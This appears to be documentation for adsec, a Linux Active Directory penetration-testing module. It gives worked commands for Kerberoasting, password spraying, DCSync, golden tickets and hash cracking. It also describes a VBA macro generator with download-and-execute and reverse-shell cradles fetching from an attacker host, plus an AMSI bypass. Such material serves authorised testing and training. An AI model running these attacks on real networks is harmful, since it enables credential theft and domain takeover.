adsec.

Linux-side Active Directory penetration testing module. DC discovery, LDAP enumeration, Kerberoasting, AS-REP roasting, password spraying, DCSync, BloodHound collection, remote exec, privesc audit, reverse shell delivery, and Office VBA macro generation — all from a single Linux attack box.

VANTA Module Active Directory Kerberoast BloodHound DCSync Office Macros Python 3 v0.0.1
CategoryAD / Linux
Version1.0.2
Locationtools/AD/linux/
Entrypython3 adsec.py
Operations17 (16 std + 1 auto)
LicenseMIT
Beginner Startup
New to VANTA or adsec? Start here.
Foundations guide →
What you need first
  • ▸ Active Directory lab environment (see windowsAD module first)
  • impacket, bloodhound, crackmapexec
  • ▸ Compromise of at least one domain account (from windowsAD enum)
Your first safe command
set operation enum
set dc 192.168.1.x
set domain lab.local
run
Operations by difficulty
  • Easy: enum, acl_scan, trust_map
  • Medium: silver_ticket, constrained_deleg, shadow_cred
  • Advanced: golden_ticket, dcsync, forest_trust_abuse
Key terms: Golden Ticket — Forged Kerberos TGT using the KRBTGT hash — unlimited domain access  ·  Silver Ticket — Forged Kerberos service ticket for one specific service  ·  ACL Abuse — Exploiting Access Control List misconfigurations to escalate privileges  ·  BloodHound — Graph-based AD attack path visualizer — find the shortest path to Domain Admin  — Full glossary →

Overview

What adsec does

adsec is the Active Directory penetration testing module inside VANTA. It provides a complete Linux-side attack workflow against Windows AD environments — from unauthenticated domain controller discovery through authenticated enumeration, credential attacks, and post-authentication data collection.

The module wraps impacket, ldap3, netexec, and bloodhound-python into a unified interface. Every operation reads JSON from stdin and writes structured JSON to stdout, making it composable with other VANTA modules and standard tooling. Two built-in auto pipelines chain operations together for both unauthenticated and authenticated engagements.

Supported environments: Arch Linux, Kali Linux, BlackArch, and Debian-based distributions. All dependency checks run at module startup — missing tools are reported clearly before any operation begins.

Discovery
Unauthenticated
DC discovery via DNS SRV records, LDAP probe, SMB version fingerprint, open port scan, and anonymous LDAP bind — no credentials needed.
Enumeration
LDAP & Users
Full LDAP dump: users, groups, GPOs, OUs, trusts, AdminSDHolder members, disabled accounts, never-expire flags.
Credential Attacks
Kerberos & Spray
Kerberoasting, AS-REP roasting, lockout-aware password spraying with threshold detection and jitter.
Post-Auth
DCSync & BloodHound
impacket secretsdump for NTLM hashes and Kerberos keys. BloodHound collection with all methods, ZIP output.
Pass-the-Hash
Hash Auth
All authenticated operations accept NTLM hash (LM:NT format) in place of a plaintext password.
Pipelines
Auto Chains
auto: adaptive pipeline — vulncheck → users → groups → shares → passpol always; kerberoast → asreproast → bloodhound → loot → privesc_check when credentials are supplied.
! adsec is an offensive security tool. Use only on systems you own or have explicit written authorisation to test. Credential attacks such as password spraying carry lockout risk — read the lockout_threshold parameter documentation before running spray against production environments.

Quick Start

Running adsec

adsec reads JSON from stdin and writes JSON to stdout. The input takes a target (DC IP or domain FQDN), an operation name, and an optional params object.

# Unauthenticated DC discovery — no credentials needed
echo '{
  "target": "192.168.1.10",
  "params": { "operation": "discover", "domain": "corp.local" }
}' | python3 adsec.py | jq .

# Kerberoasting — requests TGS for all SPNs, saves hashes
echo '{
  "target": "192.168.1.10",
  "params": {
    "operation": "kerberoast",
    "domain": "corp.local",
    "username": "jdoe",
    "password": "Password123",
    "output_dir": "/tmp/adsec-loot"
  }
}' | python3 adsec.py

# Adaptive auto pipeline (unauthenticated)
echo '{
  "target": "corp.local",
  "params": {
    "operation": "auto",
    "domain": "corp.local",
    "output_dir": "/tmp/adsec-loot"
  }
}' | python3 adsec.py | jq .data
i The default operation is discover. If no operation key is provided in params, adsec runs DC discovery automatically. All other operations require an explicit operation name.

Reference

Operations

adsec provides 16 operations across five categories plus one adaptive auto pipeline. Pass the operation name as params.operation in the JSON input.

Discovery (unauthenticated)

Initial discovery runs automatically before any operation. Run it explicitly to get DC fingerprint data without further actions.

discover default
Domain controller discovery via DNS SRV records, LDAP probe, SMB version fingerprint, open port scan, and anonymous LDAP bind attempt. No credentials required. Discovery output feeds into all subsequent operations automatically.

Domain enumeration

These operations enumerate users, groups, shares, and password policy. They operate unauthenticated where the DC permits (SAMR null session, anonymous SMB) and use authenticated LDAP/SMB when credentials are provided.

users anon/auth
Enumerate domain user accounts. Uses authenticated LDAP if credentials are provided, falls back to SAMR RID cycling via null session otherwise. Returns username, description, last logon, password flags, and disabled status.
groups auth
Enumerate domain groups via authenticated LDAP with full nested membership resolution. Highlights AdminSDHolder-protected accounts and privileged group members (Domain Admins, Enterprise Admins, etc.).
shares anon/auth
SMB share enumeration. Lists all shares on the DC, checks read and write access per share. Works via null session (no creds) or authenticated SMB.
passpol anon/auth
Retrieve domain password policy: minimum length, complexity requirements, lockout threshold, lockout duration, and observation window. spray calls this automatically to calculate safe attempt limits.

Credential attacks

These operations target credential weaknesses in the domain. Review lockout policy before running spray.

kerberoast creds
Request TGS tickets for all accounts with registered SPNs. Saves RC4/AES hashes to output_dir in hashcat format (-m 13100) for offline cracking. Requires credentials.
asreproast no creds
Dump AS-REP hashes for accounts with DONT_REQUIRE_PREAUTH set. Requires a userlist or a prior users run. Saves hashes in hashcat format (-m 18200).
spray careful
Lockout-aware password spraying. Queries the domain lockout threshold via passpol before starting, enforces per-round delays and per-account jitter. Requires userlist and single_password or passlist.
! The spray operation reads the domain lockout policy before starting. If lockout_threshold cannot be determined automatically, it defaults to 3 attempts per account. Always verify the lockout window with the domain owner before running spray against a production environment.

Vulnerability & intelligence

These operations check for exploitable conditions, collect BloodHound graph data, loot accessible file shares, and dump domain secrets.

vulncheck no creds
Check for known AD vulnerabilities: EternalBlue (MS17-010), PrintNightmare (CVE-2021-1675), noPac (CVE-2021-42278/42287), Zerologon (CVE-2020-1472), and anonymous LDAP exposure. Uses discovery data — no credentials required.
bloodhound creds
BloodHound data collection via bloodhound-python using all collection methods. Output is a ZIP archive in output_dir, ready for import into BloodHound CE.
loot anon/auth
Hunt for sensitive files across all accessible SMB shares. Matches filenames against patterns for credentials, config files, and scripts. Calls shares first if no share list is in the current run's data.
secrets priv
DCSync via impacket secretsdump. Dumps all NTLM hashes, Kerberos keys, and domain secrets from NTDS.dit. Requires domain admin rights or DCSync-delegated permissions. Supports pass-the-hash.

Remote execution

Execute commands or run audits on a remote Windows target using impacket wmiexec. Credentials are required for both operations.

exec creds
Remote command execution via impacket wmiexec. Pass command in params. Returns stdout and stderr. Supports pass-the-hash with the hash parameter.
privesc_check creds
PowerShell privilege-escalation audit delivered via WMI with AMSI bypass. Checks unquoted service paths, writable service binaries, stored credentials in registry, UAC configuration, PATH hijack vectors, and elevated autoruns.

Auto pipeline

Built-in adaptive pipeline covering both unauthenticated and authenticated engagement phases. Runs operations sequentially and aggregates output into a single JSON result.

auto adaptive
Always runs: vulncheck → users → groups → shares → passpol. With credentials also runs: kerberoast → asreproast → bloodhound → loot → privesc_check. Without credentials, runs asreproast if userlist is provided.

Operations

Red team payloads

Two community-contributed operations for payload generation and reverse shell delivery against Windows AD targets, operated from Linux.

office_macros

Generates ready-to-paste VBA macro templates for Office documents. All macros fire on AutoOpen(). Paste into the VBA editor (Alt+F11), save as .docm or .xlsm. Identical template set to winadsec for cross-module consistency.

macro_typeTechniqueKey parameters
download_execMSXML2.XMLHTTP + ADODB.Stream → executepayload_url
hidden_cmd_execbitsadmin download + hidden cmd.exe startpayload_url
persistenceHKCU Run key via WScript.Shell.RegWritereg_path
pwsh_cmdHidden PowerShell with execution-policy bypassps_command
reverse_shellIEX DownloadString PowerShell cradle via cmd.exerev_url, lhost, lport
allAll five templates in one call

shell

Generates a reverse shell payload via the revshell module. If credentials are provided, auto-delivers it to the target via WMI exec and starts a listener. Without credentials, outputs the payload command for manual delivery.

ParameterDefaultDescription
lhostauto-detectListener IP. Defaults to local interface IP.
lport4444Listener port.
payload_typepowershell_b64Any type supported by revshell (powershell_b64, cmd_nc, etc.)
servetrueIf true, start interactive multi-session server. If false, listen for duration seconds.
duration120Single-connection listen timeout (when serve=false).

Parameters

All parameters go inside the params object of the JSON input alongside the operation key.

Core

ParameterTypeDefaultDescription
targetstringrequiredDC IP address or domain FQDN (e.g. 192.168.1.10 or corp.local)
operationstringdiscoverOperation name. See the Operations section for all valid values.
domainstring""Domain name in FQDN format, e.g. corp.local. Required for most operations.
usernamestring""Domain username for authenticated operations. Combine with password or hash.
passwordstring""Domain password for authenticated operations. Mutually exclusive with hash.
hashstring""NTLM hash for pass-the-hash authentication. Format: LM:NT (use 32 zeros for LM portion if unknown).
outputstring""Output file path for hash dumps (kerberoast, asreproast) or directory path for BloodHound ZIP and auto pipeline results.

Spray & Threading

ParameterTypeDefaultDescription
threadsinteger5Thread count for spray and enumeration operations. Keep low to avoid triggering rate-based detection.
delayinteger (seconds)30Delay between spray rounds in seconds. Should exceed the domain observation window for lockout counting.
lockout_thresholdinteger3Maximum authentication attempts per account before the account is skipped. adsec queries the domain policy and uses whichever is lower.

Examples

Examples

DC discovery

echo '{
  "target": "10.10.10.5",
  "params": {
    "operation": "discover",
    "domain": "htb.local"
  }
}' | python3 adsec.py | jq '.data.domain_info'

# Follow up with SMB share enumeration
echo '{
  "target": "10.10.10.5",
  "params": {
    "operation": "shares",
    "domain": "htb.local"
  }
}' | python3 adsec.py | jq '.data.shares'

Kerberoasting with hash output

echo '{
  "target": "192.168.100.5",
  "params": {
    "operation":  "kerberoast",
    "domain":     "corp.local",
    "username":   "jdoe",
    "password":   "Summer2024!",
    "output_dir": "/tmp/adsec-loot"
  }
}' | python3 adsec.py

# Crack hashes offline
hashcat -m 13100 /tmp/adsec-loot/kerberoast-*.hashes /usr/share/wordlists/rockyou.txt

AS-REP roasting (no credentials)

echo '{
  "target": "dc01.corp.local",
  "params": {
    "operation":  "asreproast",
    "domain":     "corp.local",
    "userlist":   "/tmp/users.txt",
    "output_dir": "/tmp/adsec-loot"
  }
}' | python3 adsec.py | jq '.data.asreproast | length'

# Crack AS-REP hashes
hashcat -m 18200 /tmp/adsec-loot/asreproast-*.hashes /usr/share/wordlists/rockyou.txt

Pass-the-hash DCSync

echo '{
  "target": "192.168.1.10",
  "params": {
    "operation":  "secrets",
    "domain":     "corp.local",
    "username":   "Administrator",
    "hash":       "00000000000000000000000000000000:fc525c9683e8fe067095ba2ddc971889",
    "output_dir": "/tmp/adsec-loot"
  }
}' | python3 adsec.py | jq '.data.secrets'

Remote command execution

echo '{
  "target": "192.168.1.10",
  "params": {
    "operation": "exec",
    "domain":    "corp.local",
    "username":  "jdoe",
    "password":  "Password123",
    "command":   "whoami /all"
  }
}' | python3 adsec.py | jq '.data.exec'

Privilege escalation audit

echo '{
  "target": "192.168.1.10",
  "params": {
    "operation":  "privesc_check",
    "domain":     "corp.local",
    "username":   "jdoe",
    "password":   "Password123",
    "output_dir": "/tmp/adsec-loot"
  }
}' | python3 adsec.py | jq '.data.privesc'

Office macros — reverse shell cradle

echo '{
  "target": "192.168.1.10",
  "params": {
    "operation":  "office_macros",
    "macro_type": "reverse_shell",
    "rev_url":    "http://192.168.1.114:8080/reverse.ps1"
  }
}' | python3 adsec.py | jq '.data.office_macros.macros.reverse_shell'

Reverse shell — auto-deliver via wmiexec

echo '{
  "target": "192.168.1.10",
  "params": {
    "operation":    "shell",
    "domain":       "corp.local",
    "username":     "Administrator",
    "password":     "P@ssword1",
    "lhost":        "192.168.1.114",
    "lport":        4444,
    "payload_type": "powershell_b64"
  }
}' | python3 adsec.py

Authenticated auto pipeline with BloodHound

echo '{
  "target": "192.168.1.10",
  "params": {
    "operation":  "auto",
    "domain":     "corp.local",
    "username":   "pentest",
    "password":   "P@ssw0rd",
    "output_dir": "/tmp/adsec-loot"
  }
}' | python3 adsec.py | jq '{
  users:          (.data.users | length),
  groups:         (.data.groups | length),
  kerberoastable: (.data.kerberoast | length),
  asreproastable: (.data.asreproast | length),
  bloodhound_zip: .data.bloodhound.output_file
}'

Requirements

DependencyInstallUsed by
impacketpip3 install impacketsecrets (DCSync), kerberoast, asreproast, exec, privesc_check — Kerberos, SMB/RPC, and WMI operations
ldap3pip3 install ldap3users, groups, passpol — all LDAP enumeration operations
nxc (netexec)pip3 install netexecspray, shares — SMB auth and share enumeration
bloodhound-pythonpip3 install bloodhoundbloodhound operation and auto pipeline BloodHound collection
python3-dnspythonpip3 install dnspythondiscover — DNS SRV record queries for DC location
i All five dependencies are checked at startup. If a dependency is missing, adsec reports which operations are unavailable and exits cleanly rather than failing mid-operation. Install all five for full functionality across all 16 operations.

All dependencies are available via pip3 and are present by default on Kali Linux and BlackArch. On Arch Linux and Debian, install them with pip3 inside a virtual environment or use the system package manager where packages are available (e.g. python3-impacket on Debian).

adsec Architecture Deep Dive

adsec is the Linux-side Active Directory penetration testing module. It wraps a collection of Python libraries (impacket, ldap3) and external tools (nmap, kerbrute, nxc) into a unified JSON interface that fits the VANTA module system. Every operation is a pure-Python function with optional external-tool acceleration — if a tool is missing, adsec falls back to native impacket or ldap3 code.

Module code path

tools/network/adsec/adsec.py
├── main(json_input)
│   ├── parse_params()         → target, domain, user, pass, operation
│   ├── check_capabilities()   → nmap/nxc/kerbrute/ldap3/impacket available?
│   └── dispatch(operation)    → calls the right function
│
├── discover(target)           → nmap AD ports + LDAP rootDSE + SMB probe
├── users(target, domain, ...)  → impacket SAMR / ldap3 userlist
├── groups(target, ...)         → LDAP memberOf + SAMR group enum
├── shares(target, ...)         → impacket SMBConnection.listShares()
├── passpol(target, ...)        → SAMR GetDomainInfo (lockout, min length)
├── kerberoast(target, ...)     → find SPNs → request TGS → extract hash
├── asreproast(target, ...)     → LDAP filter DONT_REQUIRE_PREAUTH
├── spray(target, ...)          → lockout-safe password spray loop
├── vulncheck(target, ...)      → Zerologon/PetitPotam/NoPac probes
├── bloodhound(target, ...)     → bloodhound-python collect all
├── loot(target, ...)           → secretsdump.py (DRSUAPI/registry)
├── secrets(target, ...)        → secretsdump.py local (SYSTEM hive)
├── auto(target, ...)           → discover→users→shares→kerberoast→spray
├── exec(target, ...)           → wmiexec → fallback impacket WMI
└── privesc_check(target, ...)  → PS audit script via -EncodedCommand

impacket library internals

impacket is a Python library implementing dozens of Windows network protocols from scratch. adsec uses it instead of calling external binaries for critical paths — meaning it works even without Kali extras installed.

impacket.dcerpc.v5.samr   → SAMR RPC: enumerate users, groups, password policy
impacket.dcerpc.v5.drsuapi → DCSync: DS-Replication-Get-Changes-All
impacket.krb5.kerberosv5  → Kerberos: AS-REQ/AS-REP, TGS-REQ/TGS-REP
impacket.smbconnection     → SMB1/2/3: share enumeration, file access
impacket.nmb               → NetBIOS Name Service queries

# adsec kerberoasting (pure impacket, no GetUserSPNs.py external call):
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import KerberosTime, Principal

tgt, cipher, oldSKey, sessionKey = getKerberosTGT(
    clientName, password, domain, "", "", kdcHost
)
for spn in found_spns:
    tgs, cipher2, _, tgsSessionKey = getKerberosTGS(
        Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value),
        domain, kdcHost, tgt, cipher, sessionKey
    )
    # Extract hash from tgs for hashcat -m 13100

Kerberos Wire Format

Kerberos v5 messages are encoded in ASN.1 DER (Distinguished Encoding Rules) — a binary serialization format. Every field is a TLV: Tag byte(s) + Length byte(s) + Value. Understanding the wire format is essential for building attack tools and understanding what impacket is doing under the hood.

AS-REQ structure (authentication request)

# Sent by client → KDC port 88 (TCP or UDP)
# ASN.1 APPLICATION [10] (0x6A) — AS-REQ

6A 82 01 23          # Tag=AS-REQ (app 10), length=0x123
  30 82 01 1F        # SEQUENCE
    A1 03            # pvno [1] — Kerberos version
      02 01 05       # INTEGER 5
    A2 03            # msg-type [2]
      02 01 0A       # INTEGER 10 = AS-REQ
    A3 ...           # padata [3] — optional pre-authentication
      # WITHOUT padata = AS-REP Roastable (DONT_REQUIRE_PREAUTH)
      # WITH padata type 2 (ENC-TIMESTAMP) = normal auth
    A4 ...           # req-body [4]
      30 ...         # KDC-REQ-BODY
        A0 07        # kdc-options [0] — flags bitmask
        A1 ...       # cname [1] — client principal (username)
        A2 ...       # realm [2] — domain (CORP.LOCAL)
        A3 ...       # sname [3] — krbtgt/CORP.LOCAL for AS-REQ
        A5 ...       # till [5] — expiry (10 years out for tools)
        A7 03        # nonce [7]
          02 01 xx   # random 4-byte nonce
        A8 ...       # etype [8] — accepted encryption types
          # 0x17 = RC4 (NTLM hash as key) — used for roasting
          # 0x12 = AES256 — modern clients prefer this

AS-REP Roastable response

# When DONT_REQUIRE_PREAUTH is set on an account:
# KDC returns AS-REP without verifying the client knows the password.
# The enc-part is encrypted with the user's key (derived from their password).
# You can crack it offline.

AS-REP:
  6B ...             # Tag=AS-REP (app 11)
    enc-part:
      etype: 23      # RC4_HMAC (0x17)
      cipher: [encrypted-session-key-and-timestamp]
        # First 16 bytes: HMAC-MD5 checksum (the "hash" you crack)

# hashcat format (-m 18200):
[email protected]:<16-byte-checksum>$<cipher-data>

TGS-REP hash format (Kerberoasting)

# Client requests service ticket for an SPN with any auth type.
# Ticket enc-part is encrypted with service account's NTLM hash.

TGS-REP:
  6D ...             # Tag=TGS-REP (app 13)
    ticket:
      enc-part:
        etype: 23    # RC4_HMAC (requested for roasting)
        cipher:      # crackable with hashcat -m 13100

# hashcat format:
$krb5tgs$23$*username$DOMAIN.COM$SPN*$<hash>$<cipher>

# Cracking:
hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Golden Ticket bytes

# Golden Ticket = forged TGT encrypted with krbtgt NTLM hash
# Once you have the krbtgt hash (from DCSync), you can forge any TGT.

# impacket ticketer.py:
ticketer.py -nthash <krbtgt_ntlm_hash> \
            -domain-sid S-1-5-21-<domain-SID> \
            -domain CORP.LOCAL Administrator

# Creates: Administrator.ccache — Kerberos credential cache
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass DC01.corp.local  # uses forged TGT

# The forged ticket has:
# - validity: 10 years (normal TGTs last 10 hours)
# - PAC (Privilege Attribute Certificate) signed with krbtgt key
# - group memberships: domain admins, enterprise admins, etc.
# - survives password resets of target accounts (only krbtgt reset fixes it)

LDAP and BER Wire Format

What is LDAP? The Lightweight Directory Access Protocol is a TCP protocol (port 389, TLS port 636) for querying directory services. In AD it exposes the entire domain database — users, computers, groups, GPOs, trusts — as a tree of objects. Each object has attributes (key-value pairs). LDAP filters let you search the tree. Every AD pentest starts with LDAP enumeration.

LDAP message wire format (BER)

# LDAP messages are Basic Encoding Rules (BER) — a subset of ASN.1 DER
# Tag 0x30 = SEQUENCE (universal), 0x60 = BIND-REQUEST (application 0)

30 2F                # SEQUENCE (LDAPMessage)
  02 01 01           # messageID = 1 (INTEGER)
  60 2A              # BindRequest (application 0)
    02 01 03         # version = 3
    04 00            # name = "" (anonymous bind)
    80 00            # simple authentication, password = ""
# Anonymous bind to AD: many DCs still allow this by default
# adsec uses ldap3: conn = ldap3.Connection(server, authentication=ANONYMOUS)

# Authenticated bind (simple — cleartext, only use over TLS!):
30 3E
  02 01 02
  60 39
    02 01 03
    04 14 43 4F 52 50 5C 61 64 6D 69 6E  # "CORP\admin" (DN)
    80 08 50 61 73 73 77 30 72 64         # "Passw0rd"

LDAP search request

# SearchRequest — find all enabled user accounts
30 49              # SEQUENCE
  02 01 03         # messageID
  63 44            # SearchRequest (application 3)
    04 00          # baseObject = "" (search whole domain)
    0A 01 02       # scope = 2 (subtree — search entire tree)
    0A 01 00       # derefAliases = 0 (never)
    02 01 00       # sizeLimit = 0 (unlimited)
    02 01 00       # timeLimit = 0 (unlimited)
    01 01 00       # typesOnly = false (return values too)
    A0 28          # filter = AND
      A3 24        # equalityMatch
        04 0B 6F 62 6A 65 63 74 43 6C 61 73 73  # "objectClass"
        04 04 75 73 65 72                        # "user"
    30 00          # attributes = [] (all)

Key LDAP filters for AD pentesting

FilterFinds
(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))All enabled users
(userAccountControl:1.2.840.113556.1.4.803:=4194304)AS-REP Roastable (DONT_REQUIRE_PREAUTH)
(&(objectClass=user)(servicePrincipalName=*))Kerberoastable (SPN set)
(userAccountControl:1.2.840.113556.1.4.803:=524288)Trusted for unconstrained delegation
(ms-DS-MachineAccountQuota>0)Non-admin users can add machine accounts
(objectClass=trustedDomain)Domain trusts (forest enumeration)
(&(objectClass=computer)(ms-Mcs-AdmPwd=*))LAPS password readable

The OID 1.2.840.113556.1.4.803 is the "bitwise AND" matching rule — it checks if a bit flag is set in an integer attribute. This is how you query userAccountControl bit by bit in LDAP.

BloodHound Graph Internals

BloodHound collects AD data (via LDAP, SMB, and RPC) and stores it in a Neo4j graph database. Each node is an AD object (User, Computer, Group, GPO, OU, Domain). Each edge is a relationship with an attack implication. The power of BloodHound is that it finds attack paths by graph traversal — paths you would never find by manual enumeration.

Data collection (bloodhound-python)

# adsec bloodhound operation runs:
bloodhound-python -d CORP.LOCAL -u username -p password \
                  -dc DC01.corp.local \
                  -c All          # All = Users, Groups, Computers,
                                  #       LocalAdmins, Sessions, ACLs, Trusts
# Output: JSON files (users.json, groups.json, computers.json, ...)
# Import into BloodHound UI → Neo4j → enable attack path queries

Key BloodHound edges (attack relationships)

EdgeMeaningAttack
MemberOfUser is member of GroupPrivilege inherited from group
AdminToUser/Group has local admin on ComputerCan run code, dump LSASS
HasSessionUser has active logon session on ComputerToken impersonation if local admin on host
GenericAllFull control over objectAdd member, reset password, set SPN
GenericWriteWrite all propertiesSet SPN (Kerberoast), modify logon script
WriteOwnerCan change owner of objectTake ownership → GenericAll
AllExtendedRightsAll extended AD rightsReset password, DCSync permissions
ForceChangePasswordCan reset user's passwordSet known password → authenticate as user
DCSyncDS-Replication-Get-Changes-AllDump all hashes without touching disk

Shortest path queries (Neo4j Cypher)

# Find shortest path from any domain user to Domain Admins:
MATCH p=shortestPath(
  (u:User)-[*1..]->(g:Group {name:"DOMAIN [email protected]"})
) RETURN p

# Find computers with unconstrained delegation:
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

# Find users with DONT_REQUIRE_PREAUTH:
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.enabled

# Find all paths between two specific nodes:
MATCH p=allShortestPaths(
  (a:User {name:"[email protected]"})-[*]->(b:Group {name:"DOMAIN [email protected]"})
) RETURN p

Customization & Extension

Adding a custom vulnerability check

# Add ESC1 check — ADCS misconfigured certificate template
# (AD Certificate Services escalation — any user can request cert for any user)

from impacket.ldap import ldap, ldapasn1

def check_adcs_esc1(target, domain, username, password):
    """Find certificate templates with ESC1 misconfiguration."""
    # ESC1: enrollee supplies subject + template allows any SAN + low privilege enroll
    ldap_filter = (
        "(&(objectClass=pKICertificateTemplate)"
        "(|(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)"  # ENROLLEE_SUPPLIES_SUBJECT
        "(msPKI-Enrollment-Flag:1.2.840.113556.1.4.803:=1))"         # INCLUDE_SYMMETRIC_ALGORITHMS
        ")"
    )
    conn = ldap3.Connection(
        ldap3.Server(target), user=f"{domain}\\{username}",
        password=password, authentication=ldap3.NTLM
    )
    conn.bind()
    conn.search(
        f"CN=Certificate Templates,CN=Public Key Services,CN=Services,"
        f"CN=Configuration,DC={',DC='.join(domain.split('.'))}",
        ldap_filter,
        attributes=["name", "msPKI-Certificate-Name-Flag",
                    "msPKI-Enrollment-Flag", "nTSecurityDescriptor"]
    )
    vulnerable = []
    for entry in conn.entries:
        vulnerable.append({
            "template": entry.name.value,
            "flags": str(entry["msPKI-Certificate-Name-Flag"])
        })
    return {"adcs_esc1_templates": vulnerable}

# Add to module.json:
# { "name": "adcs_check", "description": "ADCS ESC1-8 template audit" }

Adding a new spray wordlist

# adsec spray uses a built-in seasonal + common password list
# Extend it with domain-specific guesses:

SPRAY_WORDLIST = [
    "Password1", "Password1!", "Welcome1", "Welcome1!",
    "Spring2025!", "Summer2025!", "Winter2025!",
    "{company}2025", "{company}2025!",
    "Changeme1!", "Letmein1!"
]

def generate_seasonal_passwords(company_name=""):
    import datetime
    year = datetime.datetime.now().year
    season = ["Spring", "Summer", "Fall", "Winter"][
        (datetime.datetime.now().month - 1) // 3
    ]
    extra = [
        f"{season}{year}!", f"{season}{year}",
        f"{company_name}{year}!" if company_name else None,
        f"{company_name}1!" if company_name else None,
    ]
    return SPRAY_WORDLIST + [p for p in extra if p]

Learning Path

Recommended resources

ResourceFormatFocus
TryHackMe — AD BasicsFree guided labAD structure, Kerberos, users and groups
TryHackMe — Attacking KerberosFree guided labAS-REP Roasting, Kerberoasting, Golden Ticket
GOAD LabVagrant AD labFull multi-domain AD lab with intentional vulns
Red Team Notes (ired.team)Free web referenceEvery AD attack technique with code
HackTricks AD MethodologyFree wikiChecklist-style AD attack chain
The Hacker Playbook 3 — Peter KimBookAD-focused red team methodology
BloodHound Enterprise BlogArticlesAttack path research, new AD techniques
CertipyTool + writeupsADCS ESC1-13 attack techniques

Practice progression (8 weeks)

Week 1 — AD fundamentals
  ▸ TryHackMe: Active Directory Basics (free)
  ▸ TryHackMe: Breaching Active Directory
  ▸ Set up GOAD lab (Vagrant + VirtualBox) or use TryHackMe AD rooms

Week 2 — Enumeration
  ▸ adsec discover + users + groups + shares on GOAD
  ▸ Manual LDAP with ldapsearch -x -H ldap://DC -b "" "(objectClass=*)"
  ▸ Understand bloodhound output — import JSON, explore graph

Week 3 — AS-REP Roasting and Kerberoasting
  ▸ adsec asreproast on GOAD (has ASREPRoast accounts pre-configured)
  ▸ adsec kerberoast → save hashes → hashcat -m 18200 / -m 13100
  ▸ Crack successfully → authenticate as service account

Week 4 — Password spraying
  ▸ adsec passpol first (never spray without knowing lockout policy!)
  ▸ adsec spray with seasonal wordlist
  ▸ Practice lockout awareness: buffer = maxAttempts - 2

Week 5 — DCSync and secrets
  ▸ Get DA credentials (from cracked hash or spray)
  ▸ adsec loot (DCSync) → extract all hashes
  ▸ Pass-the-Hash with nxc: nxc smb <target> -u admin -H <NT-hash>

Week 6 — Kerberos attacks
  ▸ Golden Ticket with impacket ticketer.py
  ▸ Unconstrained delegation abuse (TryHackMe: Exploiting AD)
  ▸ ADCS: Certipy find + Certipy req (ESC1 if GOAD has PKI role)

Week 7 — BloodHound attack paths
  ▸ adsec bloodhound on GOAD
  ▸ Find shortest path to DA in BloodHound GUI
  ▸ Execute the attack path manually step by step

Week 8 — Full engagement simulation
  ▸ Start from unauthenticated on GOAD external network
  ▸ Responder → capture NTLMv2 → crack → spray → DCSync
  ▸ Document as a pentest report (TTP chain with evidence)

F1 What is Active Directory

The Directory Service at the Heart of Corporate Networks

Active Directory (AD) is Microsoft's directory service - a centralized database of every user account, computer, printer, and resource in a corporate network. When you log into a Windows computer at work, AD is what verifies your password. When your computer connects to a file share, AD is what decides if you have permission. Understanding AD is essential for Windows penetration testing because compromising AD means controlling the entire organization.

Domain vs Workgroup
A workgroup is a peer-to-peer Windows network with no central authority - each computer manages its own accounts. A domain is a hierarchical network where one or more Domain Controllers (DCs) hold the central AD database. All authentication in a domain goes through the DC. Every corporate network uses domains; workgroups are only for home/small office use.
Domain Controller (DC)
A DC is a Windows Server that runs Active Directory Domain Services (AD DS). It stores the entire directory: user accounts, passwords (as hashes), computer accounts, group memberships, and policies. The PDC Emulator DC is the most critical - it handles password changes and time synchronization. Compromising a DC means game over for the domain.
Forest / Tree / Domain
A forest is the top-level security boundary in AD. It contains one or more trees. A tree is a collection of domains that share a contiguous DNS namespace. A domain is the basic administrative unit (e.g. corp.company.com). Most organizations have one forest with one domain. Larger enterprises have multiple domains (child domains) under one forest root.
Domain Admin
Members of the Domain Admins group have full control over every computer and account in the domain. They can read any file, reset any password, and push code to every machine via Group Policy. Achieving Domain Admin (DA) is the typical endgame of an Active Directory penetration test. Enterprise Admin has even higher scope across multiple domains in a forest.
OU (Organizational Unit)
A container in AD that organizes objects (users, computers, groups) into logical groups. Group Policies (GPOs) can be applied to OUs to push settings to all objects inside. The OU structure often mirrors the company org chart.
GPO (Group Policy Object)
A collection of settings pushed from the DC to computers and users in an OU. GPOs control everything from desktop backgrounds to firewall rules to software installation. Attackers who can create or modify GPOs can push malicious scripts to every machine in an OU.
SID (Security Identifier)
A unique identifier for every security principal (user, group, computer) in AD. Format: S-1-5-21-DOMAIN-RID. Well-known SIDs: S-1-5-18 = SYSTEM, S-1-5-domain-500 = built-in Administrator. SIDs are used in access control - not usernames.
LDAP
Lightweight Directory Access Protocol. The protocol used to query AD. Runs on port 389 (cleartext) or 636 (LDAPS/TLS). Tools like ldapsearch, BloodHound, and PowerView use LDAP to enumerate AD objects, group memberships, and permissions.

How Tickets Get Issued - and How They Get Stolen

Kerberos is the authentication protocol used in all modern Active Directory domains. Instead of sending your password to every service you want to access, Kerberos uses tickets - encrypted tokens that prove your identity for a limited time. Understanding the ticket flow is essential because every major AD attack (Kerberoasting, Pass-the-Ticket, Golden Ticket) targets a specific step in this process.

                    Kerberos Authentication Flow
                    =============================

User                    KDC (Key Distribution Center on DC)     Service
  |                              |                                  |
  |-- AS-REQ (my username) ----> |                                  |
  |   (encrypted with user's     |                                  |
  |    password hash)            |                                  |
  |                              |                                  |
  | <--- AS-REP (TGT) ---------- |                                  |
  |   TGT = Ticket Granting      |                                  |
  |   Ticket, encrypted with     |                                  |
  |   KDC's secret key (krbtgt)  |                                  |
  |                              |                                  |
  |-- TGS-REQ (I want to access  |                                  |
  |   FileServer, here's my TGT) |                                  |
  |                              |                                  |
  | <--- TGS-REP (Service Ticket)|                                  |
  |   encrypted with the         |                                  |
  |   service account's hash     |                                  |
  |                              |                                  |
  |-- AP-REQ (here's my Service Ticket) --------------------> |
  |                                                            |
  | <-- AP-REP (access granted) ----------------------------- |
TGT (Ticket Granting Ticket)
